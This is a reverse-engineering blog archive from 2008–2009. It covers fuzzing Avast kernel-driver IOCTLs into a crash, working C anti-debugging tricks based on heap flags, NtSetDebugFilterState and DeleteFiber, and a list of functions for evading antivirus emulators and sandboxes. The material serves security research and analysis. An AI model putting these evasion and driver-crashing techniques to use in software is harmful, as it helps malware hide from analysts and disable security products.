RCE Messageboard's Regroupment   Woodmann.com Swag Woodmann.com Swag Woodmann.com Swag

Go Back   RCE Messageboard's Regroupment > Blogs


To keep track of the posts in all our local blogs, subscribe to this RSS feed

To keep track of new threads (in all forums) of the RCE Messageboard, subscribe to this RSS feed

To keep track of all updates to the Collaborative RCE Tool Library, subscribe to this RSS feed

To get your own (reversing related) blog here, simply login and then click "Post to my Blog" below!


Old

Device Drivers Vulnerability Research, Avast a real case

Posted 09-27-2009 at 01:36 AM by evilcry

In the past days I worked intensively on Antivirus’s Device Drivers bugs, at the actual state of art the major part of well known AVs suffer of basical and more hidden bugs. The totality of AVs that I’ve checked presents defects that could be maliciously used to takeover an Antivirus Infrastructure and in some case the entire Operating System with attacks like DoS and/or Remote/Local Privilege Escalation.

I want to make a precisation here, exists an important difference between Bug and Vulnerability, simply bugs does not affects the integrity of a system and does not constitute a true danger. Vulnerabilities constitutes an effective risk for systems integrity, included informations contained inside it. When we are dealing with applications specifically devoted to security, every bug could be considered a vulnerability, because an attacker could block/kill overcome checks performed by the application itself and propagate in system and produce damages. Just think to a basical crash that could affect an Antivirus could be implemented into a malicious application that checks the presence of AVs and induces the bug.

In this little post we are going to see some defects of last device drivers used by Avast, I’m precisely talking of

Build Number: 4.8.1351.0

Avast loads the following drivers:

  • Aasvmker4.sys
  • aswMon2.sys
  • aswRdr.sys
  • aswSP.sys


Avast loads the following Drivers could be tested by fuzzing IOCTLs, for this task could be used IOCTL Fuzzer and Kartoffel. Let’s disassemble the first driver, Aavmker4.sys that from DeviceIoControl hook appears to be heavy used. This is the DriverEntry()drivers

Code:
00010748 mov eax, [ebp+DriverObject]
0001074B push offset NotifyRoutine ; NotifyRoutine
00010750 mov dword ptr [eax+70h], offset sub_1098C ; DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)sub_1098C;
00010757 call PsSetCreateProcessNotifyRoutine
sub_1098C contains the switch statement to handle various IOCTL notifications, essentially IOCTL check is structured in form of nested If and Switches.

Code:
001098C ; int __stdcall sub_1098C(int, PIRP Irp)
000109C4 mov ecx, 0B2D6002Ch
000109C9 cmp eax, ecx
000109CB ja loc_10D12
000109D1 jz loc_10CE9
Checks if IOCTL is less or equal to 0×0B2D6002C, if condition is true checks if IOCTL is exactly 0×0B2D6002C a certain task is performed by the device driver and finally ends with a classical
epilogue:

Code:
IofCompleteRequest(X, 0);
return value;
By monitoring Aavmker4.sys activity, with a DeviceIoControl hook emerges that the most used IOCTLs are:
  • 0xB2D60030
  • 0xB2D60034


Now we have two possibilities the first is to fuzz these IOCTLs and check crash dump if happens and after check code for more details, the second possibility is to invert the check order.

This the xml configuration to test Aavmker4.sys

Code:
<allow>
<drivers>
<entry>Aavmker4.sys</entry>
</drivers>
<devices>
<entry>\Device\AavmKer4</entry>
</devices>

<ioctls>
<entry>0xb2d60030</entry>
<entry>0xb2d60034</entry>
</ioctls>
<processes>
<entry>ashServ.exe</entry>
</processes>
</allow>
launch fuzzer and Avast Scan, as you can see Driver resists to Fuzzing attempts, its time to see code referred to 0xB2D60030 and 0xB2D60034.

0xB2D60030

Code:
00010D25 cmp eax, 0B2D60030h
00010D2A jz short loc_10DA8
00010D2C cmp eax, 0B2D60034h
00010D31 jz short loc_10D5B
00010DC5 mov edi, [ebx+0Ch]
00010DC8 cmp esi, 878h
00010DCE jz short loc_10DDA ;Check buffer size
00010DD0 push offset aIoctl_aavm_sta ; “******* IOCTL_AAVM_START_REQUEST_AND_SE”…
00010DD5 jmp loc_10ABA ;Jump to Io Completion
If buffer size differs from 878h Dbg Prints an error message, else supplied buffer is correctly sanitized via MmUserProbeAddress, MmIsAddressValid. We can say that this IOCTL is correctly handled.

0xB2D60034:

Code:
00010D5B cmp esi, 8
00010D5E jnz loc_10AC0 ;If differs from 8 return STATUS_INVALID_PARAMETER
00010D64 call PsGetCurrentProcessId
Now let’s test aswSP.sys. In Device Driver vulnerabilty research it’s fundamental to have a complete log of all activities of a driver, this can be obtained by correctly planning a battery of test unit. Each test should correspond to a primitive logic operation performed by an application that makes use of driver. I usually build several mini logs for each activity and finally a complete log. Here a little list of monitoring primitives:

  • On Load
  • On apparent Idle
  • On Working
  • On Shutdown
  • Various, like On Surprise Stop


This will give us a complete report of all activities and involved IOCTL. In the specific case of aswMon2.sys we can isolate the following:

  • * 0xb2c80018
  • * 0xb2c80014
  • * 0xb2c80020
  • * 0xB2c800C0
  • * 0xB2c800C4
  • * 0xB2c800C8


From IOCTL Logger we can see that 0xB2c800C0 is heavly used, time to locate Ioctl Dispatcher:

Code:
0001178B and dword ptr [ebx+34h], 0
0001178F mov dword ptr [ebx+6Ch], offset sub_11FB6
00011796 mov dword ptr [ebx+28h], offset off_18988
C like:
Code:
v2->DriverUnload = 0;
v2->MajorFunction[13] = (PDRIVER_DISPATCH)sub_11FB6;
v2->FastIoDispatch = (PFAST_IO_DISPATCH)&unk_18988;
with a bit of research we land to sub_10B82 that contains the switch for Ioctls.

Code:
00010BBD mov eax, 0B2C80018h
00010BC2 cmp ecx, eax
00010BC4 push edi
00010BC5 ja loc_11066
00010BCB jz loc_10F70
00010BD1 cmp ecx, 0B2C80008h
00010BD7 jz short loc_10C3C
00010BD9 cmp ecx, 0B2C8000Ch
00010BDF jz short loc_10C16
00010BE1 cmp ecx, 0B2C80010h
00010BE7 jz short loc_10BFF
00010BE9 cmp ecx, 0B2C80014h
00010BEF jnz loc_111AC
00010BF5 call sub_108BC
From logs emerged that the most frequently used is 0B2C8000C so it’s obvious that we will study this for first:

0xB2C8000C:

Code:
00010C16 cmp [ebp+arg_C], 1448h
00010C1D jnz loc_111AC ;check len
00010C23 mov esi, [ebp+SourceString]
00010C26 mov ecx, 512h
00010C2B mov edi, offset dword_18A58
00010C30 rep movsd
00010C32 call sub_108F0
00010C37 jmp loc_112C1 ;go out
In this case user supplied input is correctly sanitized, so 0xB2C8000C can be excluded from fuzz testing. From the log On Shutdown emerged the massive presence of 0xB2c80018, so let’s fuzz it. Here the configuration for IOCTL Fuzzer:

Code:
<?xml version=”1.0″ encoding=”windows-1251″?>
<cfg>
<log_file>C:\ioctls.txt</log_file>
<hex_dump>true</hex_dump>
<log_requests>true</log_requests>
<debug_log_requests>true</debug_log_requests>
<fuze_requests>true</fuze_requests>
<fuze_size>true</fuze_size>
<allow>
<drivers>
<entry>aswMon2.SYS</entry>
</drivers>
<devices>
<entry>\Device\aswMon</entry>
</devices>
<ioctls>
<entry>0xb2c80018</entry>
</ioctls>
<processes>
<entry>ashServ.exe</entry>
</processes>
</allow>
<deny>
<drivers>

<entry>aswSP.SYS</entry>
<entry>Aavmker4.SYS</entry>
<entry>aswTDI.SYS</entry>
</drivers>
<ioctls>

<entry>0xb2c8000c</entry>
<entry>0xb2c80014</entry>
<entry>0xb2c80020</entry>
</ioctls>
</deny>
</cfg>
The config script allows only 0xB2c80018 sent from aswMon, other drivers are locked. Obviously fuzzing need to follow the log unit that evidenced out IOCTL, so run fuzzer and stop all Avast services.

Bang..a BSOD, discovered an Avast vulnerability into aswMon2.sys

From crashdump:

kd> !analyze -v

Quote:
UNEXPECTED_KERNEL_MODE_TRAP_M
Arguments:
Arg1: 00000008, EXCEPTION_DOUBLE_FAULT
Arg2: 80042000
Arg3: 00000000
Arg4: 00000000_KERNEL_MODE_TRAP_M (1000007f)
Quote:
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
f76f3234 8053d251 f76f3250 00000000 f76f32a4 nt+0×600fa
f76f32a4 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0×66251
f76f3328 8052c793 41414141 00000000 f76f377c nt+0×55712
f76f33a4 804fc700 f76f377c f76f3478 05050505 nt+0×55793
f76f3760 8053d251 f76f377c 00000000 f76f37d0 nt+0×25700
f76f37d0 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0×66251
f76f3854 8052c793 41414141 00000000 f76f3ca8 nt+0×55712
f76f38d0 804fc700 f76f3ca8 f76f39a4 05050505 nt+0×55793
f76f3c8c 8053d251 f76f3ca8 00000000 f76f3cfc nt+0×25700
f76f3cfc 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0×66251
f76f3d80 8052c793 41414141 00000000 f76f41d4 nt+0×55712
f76f3dfc 804fc700 f76f41d4 f76f3ed0 05050505 nt+0×55793
f76f41b8 8053d251 f76f41d4 00000000 f76f4228 nt+0×25700
f76f4228 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0×66251
f76f42ac 8052c793
...
Registered User
Views 363 Comments 0 evilcry is offline
Old

EventPair Reversing, EventPairHandle as Anti-Dbg Trick

Posted 05-07-2009 at 01:36 AM by evilcry

Hello,

Here my little paper on EventPairs, and EventPairHandle as Anti-Dbg Trick

http://evilcry.netsons.org/tuts/EventPairsHandle.pdf

Have a nice read,
Giuseppe 'Evilcry' Bonfa'
Registered User
Views 782 Comments 4 evilcry is offline
Old

RtlQueryProcessHeapInformation as Anti-Dbg Trick

Posted 04-14-2009 at 11:49 AM by evilcry

Hi,

Directly derived from the previous Anti-Dbg Trick

http://evilcodecave.wordpress.com/2009/04/14/rtlqueryprocessheapinformation-as-anti-dbg-trick/

Have a nice read,
Giuseppe 'Evilcry' Bonfa'
Registered User
Posted in Uncategorized
Views 848 Comments 0 evilcry is offline
Old

RtlQueryProcessDebugInformation as Anti-Dbg Trick

Posted 04-11-2009 at 12:29 PM by evilcry

The following paper will uncover some interesting undocumented functions relative to Windows Heap Enumeration.

RtlCreateQueryDebugBuffer
RtlQueryProcessDebugInformation
RtlDestroyQueryDebugBuffer


Here the prototypes for each function:

Code:
PDEBUG_BUFFER
NTAPI
RtlCreateQueryDebugBuffer(
IN ULONG  Size,
IN BOOLEAN  EventPair);
Code:
NTSTATUS
NTAPI
RtlQueryProcessDebugInformation(
IN ULONG  ProcessId,
IN ULONG  DebugInfoClassMask,
IN OUT PDEBUG_BUFFER  DebugBuffer);

Code:
NTSTATUS
NTAPI
RtlDestroyQueryDebugBuffer(
IN PDEBUG_BUFFER  DebugBuffer);
Code:
RtlCreateQueryDebugBuffer
allocates buffer for storing heap data in case of success, it returns pointer to allocated debug buffer. Here the declaration of debug buffer:

Code:
typedef struct _DEBUG_BUFFER {
HANDLE  SectionHandle;
PVOID  SectionBase;
PVOID  RemoteSectionBase;
ULONG  SectionBaseDelta;
HANDLE  EventPairHandle;
ULONG  Unknown[2];
HANDLE  RemoteThreadHandle;
ULONG  InfoClassMask;
ULONG  SizeOfInfo;
ULONG  AllocatedSize;
ULONG  SectionSize;
PVOID  ModuleInformation;
PVOID  BackTraceInformation;
PVOID  HeapInformation;
PVOID  LockInformation;
PVOID  Reserved[8];
} DEBUG_BUFFER, *PDEBUG_BUFFER;
After the buffer allocation we can call the Heap Process Debug Information, we can call RtlQueryProcessDebugInformation to load all heap blocks of the process. This function loads entire heap nodes and corresponding heap blocks of the process. Debug Buffer contains the pointer to heap information structure at offset 0×38. First parameter of this heap structure is node count and after that it contains array of DEBUG_HEAP_INFORMATION structure which represent each heap node.

Code:
typedef struct _DEBUG_HEAP_INFORMATION
{
ULONG Base; // 0×00
ULONG Flags; // 0×04
USHORT Granularity; // 0×08
USHORT Unknown; // 0×0A
ULONG Allocated; // 0×0C
ULONG Committed; // 0×10
ULONG TagCount; // 0×14
ULONG BlockCount; // 0×18
ULONG Reserved[7]; // 0×1C
PVOID Tags; // 0×38
PVOID Blocks; // 0×3C Heap block pointer for this node.
} DEBUG_HEAP_INFORMATION, *PDEBUG_HEAP_INFORMATION;
As you should know a debugged process presents different flags respect a not debugged one, here the sample anti-dbg code:

Code:
#define WIN32_LEAN_AND_MEAN
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <Psapi.h>
#include “defs.h”

#pragma comment(lib,”ntdll.lib”)
#pragma comment(lib,”psapi.lib”)

void QueryDbgBufferMethod(void)
{
PDEBUG_BUFFER buffer;
NTSTATUS ntStatus;

buffer = RtlCreateQueryDebugBuffer(0,FALSE);

ntStatus = RtlQueryProcessDebugInformation(GetCurrentProcessId(),
PDI_HEAPS|PDI_HEAP_BLOCKS,
buffer);

PDEBUG_HEAP_INFORMATION heapInfo = PDEBUG_HEAP_INFORMATION(PULONG(buffer->HeapInformation) + 1);

if (heapInfo->Flags == 0×50000062)
MessageBoxA(NULL,”Debugged”,”Warning”,MB_OK);
else
MessageBoxA(NULL,”Not Debugged”,”Warning”,MB_OK);

RtlDestroyQueryDebugBuffer(buffer);
}
and here ‘defs.h

Code:
typedef LONG NTSTATUS;
#define STATUS_SUCCESS ((NTSTATUS)0×00000000L)

typedef struct _DEBUG_BUFFER {
HANDLE SectionHandle;
PVOID  SectionBase;
PVOID  RemoteSectionBase;
ULONG  SectionBaseDelta;
HANDLE  EventPairHandle;
ULONG  Unknown[2];
HANDLE  RemoteThreadHandle;
ULONG  InfoClassMask;
ULONG  SizeOfInfo;
ULONG  AllocatedSize;
ULONG  SectionSize;
PVOID  ModuleInformation;
PVOID  BackTraceInformation;
PVOID  HeapInformation;
PVOID  LockInformation;
PVOID  Reserved[8];
} DEBUG_BUFFER, *PDEBUG_BUFFER;

typedef struct _DEBUG_HEAP_INFORMATION
{
ULONG Base; // 0×00
ULONG Flags; // 0×04
USHORT Granularity; // 0×08
USHORT Unknown; // 0×0A
ULONG Allocated; // 0×0C
ULONG Committed; // 0×10
ULONG TagCount; // 0×14
ULONG BlockCount; // 0×18
ULONG Reserved[7]; // 0×1C
PVOID Tags; // 0×38
PVOID Blocks; // 0×3C
} DEBUG_HEAP_INFORMATION, *PDEBUG_HEAP_INFORMATION;

// RtlQueryProcessDebugInformation.DebugInfoClassMask constants
#define PDI_MODULES                       0×01
#define PDI_BACKTRACE                     0×02
#define PDI_HEAPS                         0×04
#define PDI_HEAP_TAGS                     0×08
#define PDI_HEAP_BLOCKS                   0×10
#define PDI_LOCKS                         0×20

extern “C”
__declspec(dllimport)
NTSTATUS
__stdcall
RtlQueryProcessDebugInformation(
IN ULONG  ProcessId,
IN ULONG  DebugInfoClassMask,
IN OUT PDEBUG_BUFFER  DebugBuffer);

extern “C”
__declspec(dllimport)
PDEBUG_BUFFER
__stdcall
RtlCreateQueryDebugBuffer(
IN ULONG  Size,
IN BOOLEAN  EventPair);
extern “C”
__declspec(dllimport)
NTSTATUS
__stdcall
RtlDestroyQueryDebugBuffer(
IN PDEBUG_BUFFER  DebugBuffer);
Regards,
Giuseppe 'Evilcry' Bonfa'
Registered User
Posted in Uncategorized
Views 879 Comments 2 evilcry is offline
Old

Anti-Emulation Tricks

Posted 03-21-2009 at 10:15 AM by evilcry

Hi,

Thanks to Gunther for ARTeam here we have some new Anti-Emulation open source functions, I’ve uploaded these on my OffensiveCOding section:

here a quick list of the functions:

Anti-KAV -> Call this one before WSAStartup(),so sockets wont be initialized.
Anti-NOD32 -> sse1 instruction which nod32 cannot emulate.
IsEmulator -> Timings Attack to Emulator Environement.
IsCWSandBox -> Check if CreateProcess is hooked.
IsAnubis -> Check whether it is running within Anubis.
IsAnubis2 -> Check whether it is running within Anubis.
IsNormanSandBox -> NormanSandBox Awareness.
IsSunbeltSandBox -> Sunbelt Awareness.
IsVirtualPC -> VirtualPC Awareness.
IsVMware -> VMware Awareness.
DetectVM -> Check whether it is running in VMWare, VirtualBox using registry.
IsRegMonPresent -> Checking for RegMon by checking if the driver is loaded in memory and by searching for the window handle.

Here the link:

http://evilcry.netsons.org/OC0/code/EmulationAwareness.c

See you to the next post..
Registered User
Posted in Uncategorized
Views 990 Comments 7 evilcry is offline
Old

Netsons killed my Website

Posted 03-06-2009 at 11:05 AM by evilcry

Hi,
Netsons without any advice, suspended my account, now I don't have a web-space, if possible I'll try to find some Webspace.

Regards,
Giuseppe 'Evilcry' Bonfa'
Registered User
Posted in Uncategorized
Views 977 Comments 2 evilcry is offline
Old

NtSetDebugFilterState as Anti-Dbg Trick

Posted 01-09-2009 at 01:11 PM by evilcry

The following paper will uncover some intersting Undocumented functions relative to Windows Debugging Support. NT is capable of generating and collecting text Debug Messages with an high grade of customization. User-mode and kernel-mode drivers use different routines to send output to the debugger.

User Mode: Uses OutputDebugString, that sends a null-terminated string to the debugger of the calling process. In a user-mode driver, OutputDebugString displays the string in the Debugger Command window. If a debugger is not running, this routine has no effect. OutputDebugString does not support the variable arguments of a printf formatted string.

Kernel Mode: Uses DbgPrint, that displays output in the debugger window. This routine supports the basic printf format parameters. Only kernel-mode drivers can call DbgPrint. There is also DbgPrintEx that is similar to DbgPrint, but it allows you to "tag" your messages. When running the debugger, you can permit only those messages with certain tags to be sent. This allows you to view only those messages that you are interested in.

This operation is called Filtering Debug Messages, how it works is a little bit undocumented, to understand how to go inside this aspect, let's start from DbgPrint / DbgPrintEx.

In Windows XP, DbgPrint has been extended by adding _vDbgPrintExWithPrefix, in this way DbgPrint and DbgPrintEx became wrappers of this function.

Code:
ULONG
  vDbgPrintExWithPrefix	(
	IN PCCH	Prefix,
	IN ULONG    ComponentId,
	IN ULONG    Level,
	IN PCCH     Format,
	IN va_list  arglist
	);
vDbgPrintExWithPrefix routine sends a string to the kernel debugger if certain conditions are met. This routine can append a prefix to debugger output to help organize debugging results.

Let's see what ComponentId means:

The component that is calling this routine. This parameter must be one of the component name filter IDs that are defined in Dpfilter.h. Each component is referred to in different ways, depending on the context. In the ComponentId parameter of DbgPrintEx, the component name is prefixed with DPFLTR_ and suffixed with _ID. In the registry, the component filter mask has the same name as the component itself. In the debugger, the component filter mask is prefixed with Kd_ and suffixed with _Mask.

Now let's see Level parameter:

The severity of the message that is being sent. This parameter can be any 32-bit integer. Values between 0 and 31 (inclusive)) are treated differently than values between 32 and 0xFFFFFFFF.
Filter masks that are created by the debugger take effect immediately and persist until Windows is restarted.

The debugger can override a value that is set in the registry, but the component filter mask returns to the value that is specified in the registry if the computer is restarted. There is also a system-wide mask called WIN2000. By default, this mask is equal to 0x1, but you can change it through the registry or the debugger like all other components. When filtering is performed, each component filter mask is first combined with the WIN2000 mask by using a bitwise OR. In particular, this combination means that components whose masks have never been specified default to 0x1.

By inspecting deeply vDbgPrintExWithPrefix we can see that it represent a wrap around NtQueryDebugFilterState that retrieves the state of the selected Debug Filter Mask. By inspecting xRefs we discover that NtQueryDebugFilterState is also used by DbgQueryDebugFilterState()

Code:
NTSTATUS __stdcall DbgQueryDebugFilterState(ULONG ComponentId, ULONG Level)
0045000C 	ComponentId     = dword ptr  8
0045000C 	Level           = dword ptr  0Ch
0045000C
0045000C     mov     edi, edi
0045000E     push    ebp
0045000F     mov     ebp, esp
00450011     pop     ebp
00450012     jmp     NtQueryDebugFilterState
00450012 _DbgQueryDebugFilterState end proc
As is obvious, DbgQueryDebugFilterState asks for the actual state of Debug Filters. Near the Query function we can see DbgSetFilterState()

Code:
NTSTATUS __stdcall DbgSetDebugFilterState(ULONG ComponentId, ULONG Level, BOOLEAN State)
0045001C     mov     edi, edi
0045001E     push    ebp
0045001F     mov     ebp, esp
00450021     pop     ebp
00450022     jmp     NtSetDebugFilterState
00450022     DbgSetDebugFilterState endp
DbgSetDebugFilterState is a wrapper of a native NtSetDebugFilterState(ULONG ComponentId, ULONG Level, BOOLEAN State)
As you can understand this is an intersting API cause attempts to modify the Debug Filter Mask:

Code:
0056384C NtSetDebugFilterState(ULONG ComponentId, unsigned int Level, char State)
0056384C	  mov     edi, edi
0056384E      push    ebp
0056384F      mov     ebp, esp
00563851      mov     eax, large fs:124h       ;KTHREAD
00563857      movsx   eax, byte ptr [eax+140h] ;KTHREAD->PreviousMode
0056385E      push    eax             
0056385F      push    ds:_SeDebugPrivilege.HighPart
00563865      push    ds:_SeDebugPrivilege.LowPart ;PrivilegeValue
0056386B      call    SeSinglePrivilegeCheck
00563870      test    al, al
00563872      jz      short loc_5638BE ;If PrivilegeValue does not match, exit 							and return 0xC00000022 error
SeSinglePrivilegeCheck checks for the passed privilege value in the context of the current thread, If PreviousMode is KernelMode, the privilege check always succeeds. Otherwise, this routine uses the token of the user-mode thread to determine whether the current (user-mode) thread has been granted the given privilege.
Here the rest of the function

Code:
v3 = &Kd_WIN2000_Mask;
 if ( ComponentId >= KdComponentTableSize )
    {
      if ( ComponentId != 0xFFFFFFFF )
        return 0xC00000EF;
    }
else
    {
      v3 = (int *)*(&KdComponentTable + ComponentId);
    }
    if ( Level <= 0x1F )
      v4 = 1 << (char)Level;
    else
      v4 = Level;
    v6 = v4;
    if ( !State )
      v6 = 0;
    *v3 = v6 | *v3 & ~v4;
    result = STATUS_SUCCESS;
Now we can implement a little Anti-Debug trick based on Debug State Awareness, indeed with NtSetDebugFilterState we are able to determine if the process is debugged or not:

Code:
#define WIN32_LEAN_AND_MEAN
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include "ntDefs.h"

#pragma comment(lib,"ntdll.lib")

int main(void)
{
	NTSTATUS ntStatus;
	
	ntStatus = NtSetDebugFilterState(0,0,TRUE);

	if (ntStatus != STATUS_SUCCESS)
		MessageBoxA(NULL,"Not Debugged","Warning",MB_OK);		

	else
		MessageBoxA(NULL,"Debugged","Warning",MB_OK);

	return (EXIT_SUCCESS);
-> ntDefs.h

Code:
typedef LONG NTSTATUS;
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)

extern "C"
__declspec(dllimport) 
ULONG __stdcall 
NtSetDebugFilterState(
					 ULONG ComponentId,
					 ULONG Level,
					 BOOLEAN State					 
					 );
Trick is really basilar if the Process is Debugged NtSetDebugFilterState returns STATUS_SUCCESS else returns 0xC00000022 Error Code. May be that this trick is already used, but for sure I haven's seen nothing about NtQueryDebugFilterState/NtSetDebugFilterState =)



Refs:
http://msdn.microsoft.com/en-us/library/ms792789.aspx
http://msdn.microsoft.com/en-us/library/ms804344.aspx


Thanks to #bug channel especially ratsoul 'n swirl

Regards,
Giuseppe 'Evilcry' Bonfa'
Registered User
Views 880 Comments 7 evilcry is offline
Old

Backdoor.Win32.UltimateDefender Reverse Engineering

Posted 12-08-2008 at 11:30 AM by evilcry

Hi,

I've released Backdoor.Win32.UltimateDefender.gtz Reverse Engineering:

http://evilcry.netsons.org/tuts/Mw/Backdoor-UltimateDefender.pdf

Regards,
Giuseppe 'Evilcry' Bonfa'
Registered User
Views 1017 Comments 7 evilcry is offline
Old

Trojan.Zhelatin.pk

Posted 11-02-2008 at 01:47 AM by evilcry

Hello,

Here a little overview of Trojan.Zhelatin.pk one of the first versions of this Malware.

http://evilcry.netsons.org/tuts/Mw/Zhelatin.pdf

Have a nice Read

Regards,
Giuseppe 'Evilcry' Bonfa'
Registered User
Views 909 Comments 3 evilcry is offline
Old

On Analysis of Client-Server Software Applications

Posted 10-11-2008 at 01:03 PM by evilcry

Hi,

Initially was a closed paper, now I rewritten it a bit. Here a little Abstract:

The principal objective of this paper is to give a good detailed
panoramic view of the Security aspects involved in Client-Server based
Applications. The panoramics will be seen from the point of view of a
Reverse Engineer that should be aware of the Security Problems that are
directly releated to the Client-Server Software Structure.


and here the link:

http://evilcry.netsons.org/tuts/CSAnalysis.pdf

Regards,
Evilcry
Registered User
Views 898 Comments 0 evilcry is offline
Old

Debugger Detection Via NtSystemDebugControl

Posted 09-14-2008 at 03:26 AM by evilcry

Hi,
NtSystemDebugControl() is a really powerful undocumented function, that allows you Direct Manipulation of System's Structures.

Here a definition of NtSystemDebugControl:

http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/Debug/NtSystemDebugControl.html

The use of this function is only limited to the fancy of the coder

I've rewritten some basical Anti Debugging Techniques with Direct Structure Reading with NtSystemDebugControl. Obviously there are shorter ways to implement these Anti-Dbg Apps, but I think that more reimplementations exists and more are possibilities to trick an attacker, that may not know/understands the application..especially if embedded in many..many.. Junk Code

Here you can download the Source Code sample:

http://evilcry.netsons.org/other/ntsd.zip

Have a nice Day,
Evilcry
Registered User
Views 1091 Comments 11 evilcry is offline
Old

Inside DeleteFiber() as Anti Debug Trick

Posted 07-31-2008 at 08:41 AM by evilcry

Hi,

Malware is often really boring to reverse because in high percentage they implements basical well known mechanisms of infection and self protection.
But sometimes there are really intersting malware that implements innovative techniques, this is the case of a trojan borned into 2006 that implemented DeleteFiber() as Anti–Debug Trick in a really easy and smart way.

To understand how it works, let's see whar DeleteFiber is, directly from MSDN:

Deletes an existing fiber.

Syntax

Code:
VOID WINAPI DeleteFiber(
  __in  LPVOID lpFiber
);
lpFiber is the address of the fiber to be deleted.

Important to say that the DeleteFiber function deletes all data associated with the fiber. This data includes the stack, a subset of the registers, and the fiber data.

Now let's see a basical use of DeleteFiber():

Code:
#define _WIN32_WINNT 0x0400
#include <windows.h>

int main(void)
{
	char fiber[1024] = {0};		
	DeleteFiber(fiber);	
	return EXIT_SUCCESS;
}
After showing the basical use of DeleteFiber let's see how can be implemented as Anti-Debug Trick, I insert here direcly the code:

Code:
#define _WIN32_WINNT 0x0400
#include <windows.h>
#include <stdio.h>

int main(void)
{
      char fib[1024] = {0};	
	DeleteFiber(fib);

	if(GetLastError() == 0x00000057)
		MessageBoxA(NULL,"This process is NOT debugged","Info",MB_OK);
	else
		MessageBoxA(NULL,"This process IS debugged","Info",MB_OK);
	
	
	return EXIT_SUCCESS;
}
As you can understant we can resume this trick into two cases:

If the process is NOT debugged DeleteFiber give us an Error Code of 0x00000057 that corresponds to ERROR_INVALID_PARAMETER
If the process IS debugged the error code is differs from 0x00000057

What to say it's really easy to implement and really effective for all kind of debuggers, with a bit of junk code that confuses ideas the conditional check could be placed really distant from the DeleteFiber() itself.

Inside DeleteFiber()


Now we will see how DeleteFiber internally works to understand why this should be used as Anti-Debug trick.

This is the Dead List:

Code:
00401000  PUSH DF.00403370
00401005  CALL DWORD PTR DS:[<&KERNEL32.DeleteFiber>;  kernel32.DeleteFiber

inside DeleteFiber()

7C825A9F >   MOV EDI,EDI          ; DF.00403778
7C825AA1     PUSH EBP
7C825AA2     MOV EBP,ESP
7C825AA4     PUSH ECX
7C825AA5     PUSH ESI
7C825AA6     MOV EAX,DWORD PTR FS:[18]     ;_TEB Struct
7C825AAC     MOV ECX,DWORD PTR DS:[EAX+10] ;pointer to _TIB.FiberData field
7C825AAF     MOV ESI,DWORD PTR SS:[EBP+8]  ;lpFiber
7C825AB2     CMP ECX,ESI
7C825AB4     JE kernel32.7C826596          ;ExitThread if( FiberData == lpfiber)
7C825ABA     AND DWORD PTR SS:[EBP-4],0    ;Clears this Stack location
7C825ABE     PUSH 8000                     ;MEM_RELEASE
7C825AC3     LEA EAX,DWORD PTR SS:[EBP-4]  
7C825AC6     PUSH EAX
7C825AC7     LEA EAX,DWORD PTR DS:[ESI+10]
7C825ACA     PUSH EAX
7C825ACB     PUSH -1
7C825ACD     CALL DWORD PTR DS:[<&ntdll.NtFreeVirtual>  ntdll.ZwFreeVirtualMemory
7C825AD3     MOV EAX,DWORD PTR FS:[18]        ;_TEB Struct
7C825AD9     MOV EAX,DWORD PTR DS:[EAX+30]    ;points to _PEB Struct
7C825ADC     PUSH ESI                         ;lpFiber
7C825ADD     PUSH 0                           ;0x00000000
7C825ADF     PUSH DWORD PTR DS:[EAX+18]       ;PEB.ProcessHeap
7C825AE2     CALL DWORD PTR DS:[<&ntdll.RtlFreeHeap>] ; ntdll.RtlFreeHeap
7C825AE8     POP ESI
7C825AE9     LEAVE
7C825AEA     RETN 4

In the first part of DeleteFiber is retrived the _TEB structure and specifically a member of _TIB structure located at 10h

0:003> dt nt!_TEB -b
ntdll!_TEB
+0x000 NtTib : _NT_TIB
+0x000 ExceptionList : Ptr32
...
+0x00c SubSystemTib : Ptr32
+0x010 FiberData : Ptr32

and next if FiberData is equal to our Fiber's Address it means that Fiber is suicinding itself and system calls ExitThread(), next we can notice a NtFreeVirtualMemory call with the following parameters:

Code:
NtFreeVirtualMemory(NtCurrentProcess(), &pStackAllocBase,&nSize,MEM_RELEASE);
The system deallocates the used stack and finally calls RtlFreeHeap in this manner:

Code:
RtlFreeHeap(GetProcessHeap(), 0, lpFiber);
This last call clarifies totally the presence of ERROR_INVALID_PARAMETER because has we have seen DeleteFiber is directly correlated with Heap, and Heap Memory presents a set of Flags that characterize the Heap itself.
These Flags differs in case the process IS debugged or NOT, so we can suppose that these flags are created when the exe itself is executed, in other words at Process Creation Time. Under Windows NT processes are created through PspUserThreadStartup and inside it we can found LdrInitializeThunk, that as Russinovich sais The LdrInitializeThunk routine initializes the loader, heap manager, NLS tables, thread-local storage (TLS) array, and critical section structures. By going more deep we can see that there is a specific function that fill the PEB Struct of the new process MmCreatePeb(), PEB is important because between his various fields are stored Heap Flags of our process. I'm talking about NtGlobalFlag, for a debugged process these flags are:

#define FLG_HEAP_ENABLE_TAIL_CHECK 0x00000010
#define FLG_HEAP_ENABLE_FREE_CHECK 0x00000020
#define FLG_HEAP_VALIDATE_PARAMETERS 0x00000040


Now if a process has these flags enabled ( HeapDebug ) RtlFreeHeap will fail the Heap freeing and this error will be propagated to DeleteFiber() that will exit with an ERROR_INVALID_PARAMETER.

Anti Anti-Debug


Due to the fact that the Heap Validation is accomplished at Processs Creation Time, one countermeasure against Anti-Debug will be to attach the debugger after that the process is created.
If you are using WinDbg could be used the HeapDebug option ( -hd )
Between the function involved in process creation we have also LdrQueryImageFileExecutionOptions that mantains trace of IFEO ( Image File Execution Options structure) this struct is located into Registry under the path [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\]
The various possible values are:
Debugger
DisableHeapLookaside
ShutdownFlags
MinimumStackCommitInBytes
ExecuteOptions
GlobalFlag
DebugProcessHeapOnly
ApplicationGoo
RpcThreadPoolThrottle
GlobalFlag can be used to modify NtGlobalFlag, so if you set this key entry to NULL, Heap of the debugged program will looks as an undebugged one, read this as an Anti-Anti Debug Trick .

